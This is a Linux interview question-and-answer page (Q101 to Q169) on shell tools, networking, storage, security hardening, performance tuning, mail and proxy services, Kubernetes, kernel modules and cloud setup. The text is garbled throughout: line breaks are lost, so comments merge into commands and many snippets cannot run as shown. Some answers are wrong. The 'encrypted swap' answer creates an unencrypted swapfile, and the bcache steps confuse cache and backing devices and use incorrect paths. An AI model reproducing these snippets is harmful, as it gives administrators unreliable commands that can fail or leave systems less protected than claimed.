Linux_Practical_Interview_101 250
Linux Practical Interview Questions (101-250)
Section titled “Linux Practical Interview Questions (101-250)”Linux Advanced Commands
Section titled “Linux Advanced Commands”Q101: How do you use xargs?
Section titled “Q101: How do you use xargs?”Answer:
# Find and deletefind /tmp -type f -name "*.tmp" -exec rm {} \;# Equivalent using xargsfind /tmp -type f -name "*.tmp" | xargs rm
# Parallel processingls *.jpg | xargs -n 1 -P 4 convert -resize 800x600
# With custom delimiterecho "a:b:c" | xargs -d ':' -n1
# Prompt before executionls | xargs -p rmQ102: How do you use named pipes?
Section titled “Q102: How do you use named pipes?”Answer:
# Create named pipemkfifo /tmp/myfifo
# In one terminal (read)cat < /tmp/myfifo
# In another terminal (write)echo "Hello" > /tmp/myfifo
# Process substitutiondiff <(sort file1) <(sort file2)
# While readingwhile read line; do echo "$line"; done < /tmp/myfifoQ103: How do you use process substitution?
Section titled “Q103: How do you use process substitution?”Answer:
# Compare two command outputsdiff <(command1) <(command2)
# Read from multiple fileswhile read line; do echo "$line"; done < <(cat file1 file2)
# Feed output to command expecting filegrep pattern <(echo "line with pattern")
# Multiple inputscomm <(sort file1) <(sort file2)Q104: How do you use curl effectively?
Section titled “Q104: How do you use curl effectively?”Answer:
# Basic GETcurl https://api.example.com
# POST with JSONcurl -X POST -H "Content-Type: application/json" \ -d '{"key":"value"}' https://api.example.com
# Download with progresscurl -O -L https://example.com/file.zip
# With authenticationcurl -u user:password https://api.example.com
# Follow redirectscurl -L https://example.com
# With cookiecurl -b cookies.txt -c cookies.txt https://example.comQ105: How do you use wget effectively?
Section titled “Q105: How do you use wget effectively?”Answer:
# Download filewget https://example.com/file.zip
# Download recursivelywget -r https://example.com/
# Continue downloadwget -c https://example.com/largefile.zip
# Mirror sitewget -m -k -p https://example.com
# Download with credentialswget --user=user --password=pass https://example.com
# Limit bandwidthwget --limit-rate=100k https://example.com/file.zipLinux System Administration
Section titled “Linux System Administration”Q106: How do you configure network bonding in Linux?
Section titled “Q106: How do you configure network bonding in Linux?”Answer:
# Create bond interfacecat > /etc/sysconfig/network-scripts/ifcfg-bond0 <<EOFDEVICE=bond0ONBOOT=yesBOOTPROTO=noneIPADDR=192.168.1.10NETMASK=255.255.255.0GATEWAY=192.168.1.1BONDING_OPTS="mode=1 miimon=100 fail_over_mac=2"EOF
# Configure slave interfacescat > /etc/sysconfig/network-scripts/ifcfg-eth0 <<EOFDEVICE=eth0MASTER=bond0SLAVE=yesONBOOT=yesEOF
# Reload networksystemctl restart networkQ107: How do you configure VLANs?
Section titled “Q107: How do you configure VLANs?”Answer:
# Install VLAN packageapt install vlan
# Create VLAN interfacevconfig add eth0 100
# Configurecat > /etc/sysconfig/network-scripts/ifcfg-eth0.100 <<EOFDEVICE=eth0.100VLAN=yesONBOOT=yesIPADDR=192.168.100.10NETMASK=255.255.255.0EOF
# Or use ip commandip link add link eth0 name eth0.100 type vlan id 100ip addr add 192.168.100.10/24 dev eth0.100Q108: How do you configure network bridging?
Section titled “Q108: How do you configure network bridging?”Answer:
# Create bridgebrctl addbr br0brctl addif br0 eth0brctl addif br0 eth1
# Configure IPip addr add 192.168.1.10/24 dev br0ip link set br0 up
# Make persistent (CentOS/RHEL)cat > /etc/sysconfig/network-scripts/ifcfg-br0 <<EOFDEVICE=br0TYPE=BridgeIPADDR=192.168.1.10NETMASK=255.255.255.0ONBOOT=yesEOFQ109: How do you configure static routes?
Section titled “Q109: How do you configure static routes?”Answer:
# Add temporary routeip route add 192.168.100.0/24 via 192.168.1.1 dev eth0ip route add default via 192.168.1.1
# Persistent routes (CentOS)cat > /etc/sysconfig/network-scripts/route-eth0 <<EOF192.168.100.0/24 via 192.168.1.1EOF
# Persistent routes (Debian)cat >> /etc/network/interfaces <<EOFup ip route add 192.168.100.0/24 via 192.168.1.1EOF
# View routesip route showroute -nQ110: How do you configure 802.1Q VLAN tagging?
Section titled “Q110: How do you configure 802.1Q VLAN tagging?”Answer:
# Load kernel modulemodprobe 8021q
# Make persistentecho "8021q" >> /etc/modules
# Create VLANvconfig add eth0 100
# Configure IPip addr add 192.168.100.10/24 dev eth0.100ip link set eth0.100 up
# Verifyip -d link show eth0.100Linux Storage
Section titled “Linux Storage”Q111: How do you configure iSCSI?
Section titled “Q111: How do you configure iSCSI?”Answer:
# Install initiatorapt install open-iscsi
# Discover targetsiscsiadm -m discovery -t st -p 192.168.1.100
# Login to targetiscsiadm -m node -T iqn.2023-01.com.example:storage.lun0 -l
# Make persistentiscsiadm -m node -T iqn.2023-01.com.example:storage.lun0 -p 192.168.1.100 --op update -n node.startup -v automatic
# Check statusiscsiadm -m session -P 3
# Removeiscsiadm -m node -T iqn.2023-01.com.example:storage.lun0 -uQ112: How do you configure NFS?
Section titled “Q112: How do you configure NFS?”Answer:
# Server side# Installapt install nfs-kernel-server
# Create exportmkdir -p /exports/sharedecho "/exports/shared 192.168.1.0/24(rw,sync,no_root_squash,no_all_squash)" >> /etc/exports
# Exportexportfs -asystemctl restart nfs-kernel-server
# Client sideapt install nfs-common
# Mountmount -t nfs 192.168.1.10:/exports/shared /mnt/nfs
# Persistent mountecho "192.168.1.10:/exports/shared /mnt/nfs nfs defaults 0 0" >> /etc/fstabQ113: How do you configure SMB/CIFS?
Section titled “Q113: How do you configure SMB/CIFS?”Answer:
# Installapt install cifs-utils samba
# Server config /etc/samba/smb.conf[shared] path = /srv/samba/shared browseable = yes writable = yes valid users = @smbgroup
# Create usersmbpasswd -a username
# Client mountmount -t cifs //server/share /mnt -o user=username,password=pass
# Persistent mount# /etc/fstab//server/share /mnt cifs credentials=/root/smb.creds 0 0Q114: How do you configure SquashFS?
Section titled “Q114: How do you configure SquashFS?”Answer:
# Create squashfsmksquashfs source_dir output.squashfs -comp xz
# Mount squashfsmount -t squashfs -o loop image.squashfs /mnt/squash
# List contentsunsquashfs -l image.squashfs
# Extract specific fileunsquashfs -e image.squashfs file.txt
# With compression optionsmksquashfs source output.squashfs -comp xz -Xbcj x86Q115: How do you use Stratis for storage management?
Section titled “Q115: How do you use Stratis for storage management?”Answer:
# Installapt install stratisd stratis-cli
# Start servicesystemctl start stratisd
# Create poolstratis pool create mypool /dev/sdb /dev/sdc
# Create filesystemstratis fs create mypool myfs
# Mountmount /stratis/mypool/myfs /mnt
# Liststratis pool liststratis fs listLinux Security Hardening
Section titled “Linux Security Hardening”Q116: How do you harden the Linux kernel?
Section titled “Q116: How do you harden the Linux kernel?”Answer:
# Network hardeningnet.ipv4.tcp_syncookies = 1net.ipv4.conf.all.rp_filter = 1net.ipv4.conf.default.rp_filter = 1net.ipv4.icmp_echo_ignore_broadcasts = 1net.ipv4.conf.all.accept_redirects = 0net.ipv4.conf.default.accept_redirects = 0net.ipv4.conf.all.send_redirects = 0net.ipv4.conf.default.send_redirects = 0
# Applysysctl -pQ117: How do you implement user quotas?
Section titled “Q117: How do you implement user quotas?”Answer:
# Installapt install quota
# Enable quota in fstab# Add usrquota,grpquota to /etc/fstab# /dev/sda1 / ext4 defaults,usrquota,grpquota 0 0
# Remountmount -o remount /
# Initialize quotaquotacheck -augm
# Set user quotaedquota -u username
# Enable quotaquotaon -uv /
# Check quotaquota -u usernamerepquota -aQ118: How do you set up AIDE (Advanced Intrusion Detection Environment)?
Section titled “Q118: How do you set up AIDE (Advanced Intrusion Detection Environment)?”Answer:
# Installapt install aide
# Initialize databaseaideinit
# Configurecat /etc/aide/aide.conf!/var/log/.*!/var/cache/.*
# Update databaseaide --update
# Check integrityaide --check
# Daily cron0 5 * * * /usr/bin/aide --checkQ119: How do you configure AppArmor?
Section titled “Q119: How do you configure AppArmor?”Answer:
# Installapt install apparmor apparmor-profiles
# Check statusaa-status
# Enable modesaa-complain /usr/bin/nginxaa-enforce /usr/bin/nginx
# Create profilecat /etc/apparmor.d/usr.bin.myapp#include <tunables/global>/usr/bin/myapp { # Allow read /etc/myapp/** r, # Allow write /var/log/myapp/** rw,}
# Reloadapparmor_parser -r /etc/apparmor.d/usr.bin.myappQ120: How do you implement file integrity monitoring?
Section titled “Q120: How do you implement file integrity monitoring?”Answer:
# Using AIDE (see above)
# Using tripwireapt install tripwire
# Initializetwadmin --create-polfile /etc/tripwire/tw.poltripwire --init
# Checktripwire --check
# Updatetripwire --update --accept-allLinux Performance Tuning
Section titled “Linux Performance Tuning”Q121: How do you tune network performance?
Section titled “Q121: How do you tune network performance?”Answer:
# Increase TCP buffer sizesnet.core.rmem_max = 16777216net.core.wmem_max = 16777216net.ipv4.tcp_rmem = 4096 87380 16777216net.ipv4.tcp_wmem = 4096 65536 16777216
# Increase connection trackingnet.netfilter.nf_conntrack_max = 1048576
# Enable TCP BBRnet.core.default_qdisc = fqnet.ipv4.tcp_congestion_control = bbr
# Applysysctl -pQ122: How do you tune disk I/O?
Section titled “Q122: How do you tune disk I/O?”Answer:
# Scheduler# Check currentcat /sys/block/sda/queue/scheduler# Set deadlineecho deadline > /sys/block/sda/queue/scheduler
# I/O scheduler optionsecho 1024 > /sys/block/sda/queue/nr_requestsecho 256 > /sys/block/sda/queue/read_ahead_kb
# Make persistent (CentOS)# /etc/udev/rules.d/60-scheduler.rulesACTION=="add|change", KERNEL=="sda", ATTR{queue/scheduler}="deadline"Q123: How do you tune memory usage?
Section titled “Q123: How do you tune memory usage?”Answer:
# Swappinessvm.swappiness = 10vm.vfs_cache_pressure = 50vm.dirty_ratio = 60vm.dirty_background_ratio = 5
# Huge pagesvm.nr_hugepages = 128
# Applysysctl -p
# Check memorycat /proc/meminfoQ124: How do you tune CPU performance?
Section titled “Q124: How do you tune CPU performance?”Answer:
# CPU governor# Check available governorscat /sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors
# Set performanceecho performance > /sys/devices/system/cpu/cpu*/cpufreq/scaling_governor
# Make persistent# /etc/default/cpufrequtilsGOVERNOR="performance"
# Disable transparent huge pagesecho never > /sys/kernel/mm/transparent_hugepage/enabledQ125: How do you optimize TCP/IP stack?
Section titled “Q125: How do you optimize TCP/IP stack?”Answer:
# Connection trackingnet.netfilter.nf_conntrack_max = 1048576net.netfilter.nf_conntrack_tcp_timeout_established = 7200
# TCP timeoutsnet.ipv4.tcp_fin_timeout = 15net.ipv4.tcp_keepalive_time = 300net.ipv4.tcp_keepalive_probes = 5net.ipv4.tcp_keepalive_intvl = 15
# TCP buffernet.core.rmem_max = 134217728net.core.wmem_max = 134217728
# Applysysctl -pLinux Services
Section titled “Linux Services”Q126: How do you configure Postfix mail server?
Section titled “Q126: How do you configure Postfix mail server?”Answer:
# Installapt install postfix mailutils
myhostname = mail.example.commydomain = example.commyorigin = $mydomainmydestination = $myhostname, localhost, localhost.localdomainmynetworks = 192.168.1.0/24 127.0.0.0/8relayhost = [smtp.provider.com]:587smtp_sasl_auth_enable = yessmtp_sasl_password_maps = hash:/etc/postfix/sasl_passwdsmtp_tls_security_level = encrypt
# Create password mapecho "[smtp.provider.com]:587 username:password" > /etc/postfix/sasl_passwdpostmap /etc/postfix/sasl_passwdsystemctl restart postfixQ127: How do you configure Dovecot?
Section titled “Q127: How do you configure Dovecot?”Answer:
# Installapt install dovecot-core dovecot-imapd dovecot-pop3d
protocols = imap pop3listen = *
# /etc/dovecot/10-auth.confdisable_plaintext_auth = yesauth_mechanisms = plain login
# /etc/dovecot/10-mail.confmail_location = maildir:~/Maildir
# Configure userdb# /etc/dovecot/10-user.confuserdb { driver = passwd}
systemctl restart dovecotQ128: How do you configure Squid proxy?
Section titled “Q128: How do you configure Squid proxy?”Answer:
# Installapt install squid
http_port 3128acl localnet src 192.168.1.0/24http_access allow localnethttp_access deny all
# Cache configurationcache_dir ufs /var/spool/squid 10000 16 256maximum_object_size 4096 MB
# Authenticationauth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwdacl authenticated proxy_auth REQUIREDhttp_access allow authenticated
# Reloadsystemctl reload squidQ129: How do you configure HAProxy?
Section titled “Q129: How do you configure HAProxy?”Answer:
# Installapt install haproxy
global log /dev/log local0 maxconn 4000 user haproxy group haproxy
defaults log global mode http option httplog option dontlognull option http-server-close option forwardfor except 127.0.0.0/8 option redispatch retries 3 timeout connect 5000 timeout client 50000 timeout server 50000
frontend http-in bind *:80 default_backend servers
backend servers balance roundrobin server web1 192.168.1.10:80 check server web2 192.168.1.11:80 checkQ130: How do you configure VsFTPd?
Section titled “Q130: How do you configure VsFTPd?”Answer:
# Installapt install vsftpd
listen=YESanonymous_enable=NOlocal_enable=YESwrite_enable=YESdirmessage_enable=YESuse_localtime=YESxferlog_enable=YESconnect_from_port_20=YESsecure_chroot_dir=/var/run/vsftpd/empty
# Enable SSLrsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pemrsa_private_key=/etc/ssl/private/ssl-cert-snakeoil.keyssl_enable=YES
# Create useruseradd -m -s /usr/sbin/nologin ftpuserpasswd ftpuser
systemctl restart vsftpdLinux Monitoring Tools
Section titled “Linux Monitoring Tools”Q131: How do you use sar for monitoring?
Section titled “Q131: How do you use sar for monitoring?”Answer:
# Installapt install sysstat
# Enable data collectionsystemctl enable sysstatsystemctl start sysstat
# CPU statssar -u 1 5# All CPUsar -P ALL 1 3
# Memorysar -r 1 3
# Swapsar -S 1 3
# I/Osar -b 1 3
# Networksar -n DEV 1 3
# Generate reportsar -A > /tmp/sar_report.txtQ132: How do you use iostat?
Section titled “Q132: How do you use iostat?”Answer:
# Installapt install sysstat
# Basiciostat
# Intervaliostat 2 5
# Per deviceiostat -x
# Detailediostat -x -t
# Specific deviceiostat -d sda
# Report CPU and device utilizationiostat -c -d sdaQ133: How do you use mpstat?
Section titled “Q133: How do you use mpstat?”Answer:
# Installapt install sysstat
# All CPUsmpstat
# Intervalmpstat 2 5
# Per processormpstat -P ALL 2 3
# Specific CPUmpstat -P 0 1 5
# Fieldsmpstat -AQ134: How do you use pidstat?
Section titled “Q134: How do you use pidstat?”Answer:
# Installapt install sysstat
# CPU per processpidstat -p PID 1
# Memorypidstat -r PID 1
# I/Opidstat -d PID 1
# All processespidstat 1
# User-specificpidstat -u -p ALL 1
# Interval with linespidstat -hl 1Q135: How do you use atop?
Section titled “Q135: How do you use atop?”Answer:
# Installapt install atop
# Interactiveatop
# Intervalatop 1
# Specific processatop -p PID
# Networkatop -n
# Diskatop -d
# Write to fileatop -w /tmp/atop.log 30 120# Readatop -r /tmp/atop.log
# Daily summariesatopsar -catopsar -mLinux Container Orchestration
Section titled “Linux Container Orchestration”Q136: How do you configure Kubernetes node?
Section titled “Q136: How do you configure Kubernetes node?”Answer:
# Install kubeadmapt-get update && apt-get install -y apt-transport-https curlcurl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" > /etc/apt/sources.list.d/kubernetes.listapt-get update && apt-get install -y kubelet kubeadm kubectl
# Initialize masterkubeadm init --pod-network-cidr=10.244.0.0/16
# Join nodekubeadm join 192.168.1.10:6443 --token token --discovery-token-ca-cert-hash sha256:hash
# Install pod networkkubectl apply -f https://raw.githubusercontent.com/flannel/flannel/master/Documentation/kube-flannel.ymlQ137: How do you create Kubernetes deployments?
Section titled “Q137: How do you create Kubernetes deployments?”Answer:
apiVersion: apps/v1kind: Deploymentmetadata: name: myappspec: replicas: 3 selector: matchLabels: app: myapp template: metadata: labels: app: myapp spec: containers: - name: myapp image: nginx:latest ports: - containerPort: 80 resources: limits: memory: "128Mi" cpu: "500m" requests: memory: "64Mi" cpu: "250m"
# Applykubectl apply -f deployment.yamlQ138: How do you configure Kubernetes services?
Section titled “Q138: How do you configure Kubernetes services?”Answer:
apiVersion: v1kind: Servicemetadata: name: myapp-svcspec: type: ClusterIP selector: app: myapp ports: - port: 80 targetPort: 80
# NodePortspec: type: NodePort selector: app: myapp ports: - port: 80 targetPort: 80 nodePort: 30080
# LoadBalancerspec: type: LoadBalancer selector: app: myapp ports: - port: 80 targetPort: 80
# Applykubectl apply -f service.yamlQ139: How do you manage Kubernetes configmaps and secrets?
Section titled “Q139: How do you manage Kubernetes configmaps and secrets?”Answer:
# Create configmapkubectl create configmap app-config \ --from-literal=ENV=production \ --from-file=app.properties=app.properties
# Create secretkubectl create secret generic db-credentials \ --from-literal=username=admin \ --from-literal=password=secret
# From filekubectl create secret generic tls-cert \ --from-file=tls.crt=tls.crt \ --from-file=tls.key=tls.key
# Use in podenv: - name: ENV valueFrom: configMapKeyRef: name: app-config key: ENV - name: PASSWORD valueFrom: secretKeyRef: name: db-credentials key: passwordQ140: How do you manage Kubernetes ingress?
Section titled “Q140: How do you manage Kubernetes ingress?”Answer:
apiVersion: networking.k8s.io/v1kind: Ingressmetadata: name: myapp-ingress annotations: nginx.ingress.kubernetes.io/rewrite-target: /spec: rules: - host: myapp.example.com http: paths: - path: / pathType: Prefix backend: service: name: myapp-svc port: number: 80
# Applykubectl apply -f ingress.yamlLinux Networking Advanced
Section titled “Linux Networking Advanced”Q141: How do you configure IPv6?
Section titled “Q141: How do you configure IPv6?”Answer:
# Check IPv6 statusip -6 addr showping6 ipv6.google.com
# Static IPv6 addressip -6 addr add 2001:db8::10/64 dev eth0
# Route IPv6ip -6 route add 2001:db8:1::/48 via 2001:db8::1
# Disable IPv6# sysctl.confnet.ipv6.conf.all.disable_ipv6 = 1net.ipv6.conf.default.disable_ipv6 = 1
# Applysysctl -pQ142: How do you configure bonding with LACP?
Section titled “Q142: How do you configure bonding with LACP?”Answer:
DEVICE=bond0ONBOOT=yesBOOTPROTO=noneBONDING_OPTS="mode=4 miimon=100 lacp_rate=1"
# /etc/sysconfig/network-scripts/ifcfg-eth0DEVICE=eth0ONBOOT=yesMASTER=bond0SLAVE=yesETHTOOL_OPTS="speed 1000 duplex full"
# Verifycat /proc/net/bonding/bond0Q143: How do you configure network monitoring?
Section titled “Q143: How do you configure network monitoring?”Answer:
# Using nethogsapt install nethogsnethogs eth0
# Using iftopapt install iftopiftop
# Using bmonapt install bmonbmon
# Using iptraf-ngapt install iptraf-ngiptraf-ng
# Using vnstatapt install vnstatvnstat -l -i eth0Q144: How do you configure packet filtering?
Section titled “Q144: How do you configure packet filtering?”Answer:
# Basic iptables rules# Allow established connectionsiptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow SSHiptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP/HTTPSiptables -A INPUT -p tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow localhostiptables -A INPUT -i lo -j ACCEPT
# Drop everything elseiptables -A INPUT -j DROP
# Save rulesiptables-save > /etc/iptables/rules.v4Q145: How do you use nftables?
Section titled “Q145: How do you use nftables?”Answer:
# Installapt install nftables
# Create rulesetcat > /etc/nftables.conf <<EOF#!/usr/sbin/nft -f
flush ruleset
table inet filter { chain input { type filter hook input priority 0; policy drop; ct state established,related accept iif lo accept tcp dport ssh accept tcp dport http accept tcp dport https accept } chain forward { type filter hook forward priority 0; policy drop; } chain output { type filter hook output priority 0; policy accept; }}EOF
# Reloadnft -f /etc/nftables.confsystemctl enable nftablesLinux Advanced Storage
Section titled “Linux Advanced Storage”Q146: How do you create encrypted swap?
Section titled “Q146: How do you create encrypted swap?”Answer:
# Create encrypted swapdd if=/dev/zero of=/swapfile bs=1M count=2048chmod 600 /swapfilemkswap /swapfile
# Add to /etc/fstab/swapfile none swap sw 0 0
# Enableswapon /swapfile
# Verifyswapon -sfree -hQ147: How do you configure device mapper multipath?
Section titled “Q147: How do you configure device mapper multipath?”Answer:
# Installapt install multipath-tools
# Configure /etc/multipath.confdefaults { user_friendly_names yes find_multipaths yes}
multipaths { multipath { wwid "3600605b00e0c960018e0c95c00000000" alias mpath0 }}
# Start servicesystemctl start multipathdsystemctl enable multipathd
# Commandsmultipath -llmultipath -f mpath0Q148: How do you use btrfs?
Section titled “Q148: How do you use btrfs?”Answer:
# Create btrfsmkfs.btrfs -L mydata /dev/sdb
# Mountmount /dev/sdb /mnt/btrfs
# Subvolumesbtrfs subvolume create /mnt/btrfs/databtrfs subvolume list /mnt/btrfs
# Snapshotsbtrfs subvolume snapshot /mnt/btrfs/data /mnt/btrfs/snap
# Balancebtrfs balance start /mnt/btrfs
# Compressionmount -o compress=zstd /dev/sdb /mnt/btrfs
# RAIDmkfs.btrfs -d raid1 -m raid1 /dev/sdb /dev/sdcQ149: How do you configure bcache?
Section titled “Q149: How do you configure bcache?”Answer:
# Installapt install bcache-tools
# Create backing devicemake-bcache -C /dev/sdb# ormake-bcache -B /dev/sdc # backing
# Create cache devicemake-bcache -C /dev/sda
# Registerecho /dev/sdb > /sys/block/bcache0/bcache/registerecho /dev/sda > /sys/block/bcache0/cache/register
# Attachecho /dev/sda > /sys/block/bcache0/bcache0/bcache/attach
# Make filesystemmkfs.ext4 /dev/bcache0mount /dev/bcache0 /mntQ150: How do you use mdadm for software RAID?
Section titled “Q150: How do you use mdadm for software RAID?”Answer:
# Create RAID 5mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/sdb /dev/sdc /dev/sdd
# Create RAID 10mdadm --create /dev/md0 --level=10 --raid-devices=4 /dev/sdb /dev/sdc /dev/sdd /dev/sde
# Check statusmdadm --detail /dev/md0cat /proc/mdstat
# Stop arraymdadm --stop /dev/md0
# Remove failed diskmdadm /dev/md0 --remove /dev/sdb
# Add new diskmdadm --add /dev/md0 /dev/sde
# Monitormdadm --monitor --daemonise --mail=admin@example.com /dev/md0Linux System Recovery
Section titled “Linux System Recovery”Q151: How do you recover from forgotten root password?
Section titled “Q151: How do you recover from forgotten root password?”Answer:
# Method 1: Single user mode1. Reboot system2. Press 'e' at GRUB menu3. Add 'single' or 'init=/bin/bash' to linux line4. Press Ctrl+X to boot5. mount -o remount,rw /6. passwd root7. exec /sbin/init
# Method 2: Using rescue disk1. Boot from rescue media2. Mount filesystem3. chroot /mnt/sysimage4. passwd root5. exit6. rebootQ152: How do you recover from boot failure?
Section titled “Q152: How do you recover from boot failure?”Answer:
# Check boot logsjournalctl -b -1dmesg | grep -i error
# Rebuild initramfsupdate-initramfs -u
# Reinstall GRUBgrub-install /dev/sdagrub-mkconfig -o /boot/grub/grub.cfg
# Check fstabblkidmount -a
# Emergency boot# Add to GRUB: init=/bin/bashQ153: How do you recover from disk failure?
Section titled “Q153: How do you recover from disk failure?”Answer:
# Check disk healthsmartctl -a /dev/sda
# Check filesystemfsck -n /dev/sda1
# Remount read-onlymount -o ro,remount /dev/sda1
# Try to fixfsck -y /dev/sda1
# Replace disk# 1. Partition new disk (sfdisk -d /dev/sda | sfdisk /dev/sdb)# 2. Copy boot sector (dd if=/dev/sda of=/dev/sdb bs=512 count=1)# 3. Rebuild RAID (mdadm --add /dev/md0 /dev/sdb)# 4. Rebuild GRUBQ154: How do you recover from network issues?
Section titled “Q154: How do you recover from network issues?”Answer:
# Reset networkip link set eth0 downip link set eth0 updhclient -r eth0dhclient eth0
# Restart network servicesystemctl restart NetworkManagersystemctl restart networking
# Check logsjournalctl -xe
# Reset TCP/IP stacksysctl -w net.ipv4.tcp_rmem="4096 87380 6291456"sysctl -w net.ipv4.tcp_wmem="4096 65536 6291456"sysctl -w net.core.rmem_max="12582912"sysctl -w net.core.wmem_max="12582912"Q155: How do you recover from memory issues?
Section titled “Q155: How do you recover from memory issues?”Answer:
# Check OOM killerdmesg | grep -i "out of memory"journalctl -k | grep -i "killed process"
# Check process memoryps aux --sort=-%mem | headpmap -X PID
# Clear cachesyncecho 3 > /proc/sys/vm/drop_caches
# Kill process manuallykill -15 PIDkill -9 PID
# Adjust OOM settingsecho -15 > /proc/PID/oom_score_adjLinux Kernel Development
Section titled “Linux Kernel Development”Q156: How do you compile Linux kernel?
Section titled “Q156: How do you compile Linux kernel?”Answer:
# Install dependenciesapt install build-essential libncurses-dev bison flex libssl-dev libelf-dev
# Download kernelwget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.15.tar.xztar -xf linux-5.15.tar.xzcd linux-5.15
# Configuremake menuconfig
# Buildmake -j$(nproc)make modules_installmake install
# Update GRUBupdate-grubrebootQ157: How do you create kernel modules?
Section titled “Q157: How do you create kernel modules?”Answer:
#include <linux/module.h>#include <linux/kernel.h>
MODULE_LICENSE("GPL");MODULE_AUTHOR("Author");MODULE_DESCRIPTION("Hello World Module");
int init_module(void) { printk(KERN_INFO "Hello World!\n"); return 0;}
void cleanup_module(void) { printk(KERN_INFO "Goodbye World!\n");}# Makefileobj-m += hello.oKDIR := /lib/modules/$(shell uname -r)/buildall: make -C $(KDIR) M=$(PWD) modulesclean: make -C $(KDIR) M=$(PWD) clean
# Buildmake
# Loadinsmod hello.ko
# Unloadrmmod hello
# Checklsmod | grep hellodmesg | tailQ158: How do you tune kernel parameters at runtime?
Section titled “Q158: How do you tune kernel parameters at runtime?”Answer:
# View all parameterssysctl -a
# View specificsysctl net.ipv4.tcp_rmem
# Set temporarilysysctl -w net.ipv4.tcp_rmem="4096 87380 6291456"
# Set persistentlyecho "net.ipv4.tcp_rmem = 4096 87380 6291456" >> /etc/sysctl.confsysctl -p
# View parameter documentationls /proc/sys/# orman sysctl.confQ159: How do you add system calls to kernel?
Section titled “Q159: How do you add system calls to kernel?”Answer:
// mysyscall.c (in kernel source)asmlinkage long sys_mysyscall(int arg) { printk(KERN_INFO "My syscall called with %d\n", arg); return 0;}
// Add to syscall table (arch/x86/entry/syscalls/syscall_64.tbl)555 64 mysyscall sys_mysyscall
// In kernel headers#define __NR_mysyscall 555
// User space#include <sys/syscall.h>syscall(555, arg);Q160: How do you debug kernel issues?
Section titled “Q160: How do you debug kernel issues?”Answer:
# Kernel debugging# Enable debugCONFIG_DEBUG_INFO=yCONFIG_DEBUG_KERNEL=yCONFIG_KALLSYMS=y
# Use kgdbCONFIG_KGDB=y# Add to boot: kgdboc=ttyS0,115200
# Use crash dump# Install crashapt install crash# Capturekexec -p /boot/vmlinuz --initrd=/boot/initrd.img --append="-- crash"
# Kernel logsdmesgjournalctl -k/var/log/dmesgLinux Scripting Advanced
Section titled “Linux Scripting Advanced”Q161: How do you parse JSON in bash?
Section titled “Q161: How do you parse JSON in bash?”Answer:
# Using jqapt install jq
# Parse JSONecho '{"name":"John","age":30}' | jq '.name'echo '{"users":["Alice","Bob"]}' | jq '.users[0]'
# Conditionalecho '{"status":"ok"}' | jq 'if .status == "ok" then "success" else "failed" end'
# Modifyecho '{"name":"John"}' | jq '.age = 30'
# From filejq '.users[]' data.json
# With variablesNAME=$(echo "$JSON" | jq -r '.name')Q162: How do you parse CSV in bash?
Section titled “Q162: How do you parse CSV in bash?”Answer:
# Basic parsingwhile IFS=',' read -r col1 col2 col3; do echo "$col1 $col2 $col3"done < file.csv
# Skip headertail -n +2 file.csv | while IFS=',' read -r col1 col2 col3; do echo "$col1 $col2 $col3"done
# Using awkawk -F',' '{print $1,$2}' file.csv
# With headersawk -F',' 'NR==1 {for(i=1;i<=NF;i++) h[$i]=i} NR>1 {print $h["name"],$h["age"]}' file.csvQ163: How do you use expect for automation?
Section titled “Q163: How do you use expect for automation?”Answer:
# Installapt install expect
# expect script#!/usr/bin/expect -fset timeout 30spawn ssh user@hostexpect "password:"send "mypassword\r"expect "~]$"send "ls -la\r"expect eof
# Runchmod +x script.exp./script.expQ164: How do you use Python for system administration?
Section titled “Q164: How do you use Python for system administration?”Answer:
#!/usr/bin/env python3import subprocessimport osimport sys
# Run commandresult = subprocess.run(['ls', '-la'], capture_output=True, text=True)print(result.stdout)
# Check service statusdef check_service(name): result = subprocess.run(['systemctl', 'is-active', name], capture_output=True, text=True) return result.stdout.strip() == 'active'
# File operationswith open('/etc/hosts', 'r') as f: for line in f: print(line.strip())
# Network checkimport socketsocket.gethostbyname('example.com')Q165: How do you use parallel processing?
Section titled “Q165: How do you use parallel processing?”Answer:
# GNU Parallelapt install parallel
# Parallel executioncat servers.txt | parallel -j 10 "ssh {} 'uptime'"
# With SSHparallel-ssh -h hosts.txt -i "uptime"
# Process files in parallells *.jpg | parallel -j 4 convert -resize 800x600 {} {}_small.jpg
# With xargsfind . -name "*.log" | xargs -P 4 -I {} gzip {}
# GNU parallel with variablesseq 1 100 | parallel -j 10 'echo "Number {}"'Linux Cloud Integration
Section titled “Linux Cloud Integration”Q166: How do you configure AWS CLI on Linux?
Section titled “Q166: How do you configure AWS CLI on Linux?”Answer:
# Install AWS CLIcurl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"unzip awscliv2.zip./aws/install
# Configureaws configureAWS Access Key ID: ***AWS Secret Access Key: ***Default region name: us-east-1Default output format: json
# Profileaws configure --profile myprofileaws s3 ls --profile myprofileQ167: How do you use AWS SSM Session Manager?
Section titled “Q167: How do you use AWS SSM Session Manager?”Answer:
# Install SSM agentapt install amazon-ssm-agent
# Start servicesystemctl start amazon-ssm-agentsystemctl enable amazon-ssm-agent
# Configure# Add IAM role with AmazonSSMManagedInstanceCore
# Connectaws ssm start-session --target i-1234567890abcdef0
# Transfer filesaws ssm start-session --target i-1234567890abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters '{"portNumber":["3389"],"localPortNumber":["33890"]}'Q168: How do you configure cloud-init?
Section titled “Q168: How do you configure cloud-init?”Answer:
#cloud-configpackage_update: truepackages: - nginx - curlwrite_files: - path: /var/www/html/index.html content: | <html><h1>Hello World</h1></html>runcmd: - systemctl enable nginx - systemctl start nginxusers: - name: admin ssh-authorized-keys: - ssh-rsa AAAAB... user@host sudo: ALL=(ALL) NOPASSWD:ALLQ169: How do you use Terraform with Linux?
Section titled “Q169: How do you use Terraform with Linux?”Answer:
terraform { required_providers { aws = { source = "hashicorp/aws" version = "~> 4.0" } }}
provider "aws" { region = "us-east-1"}
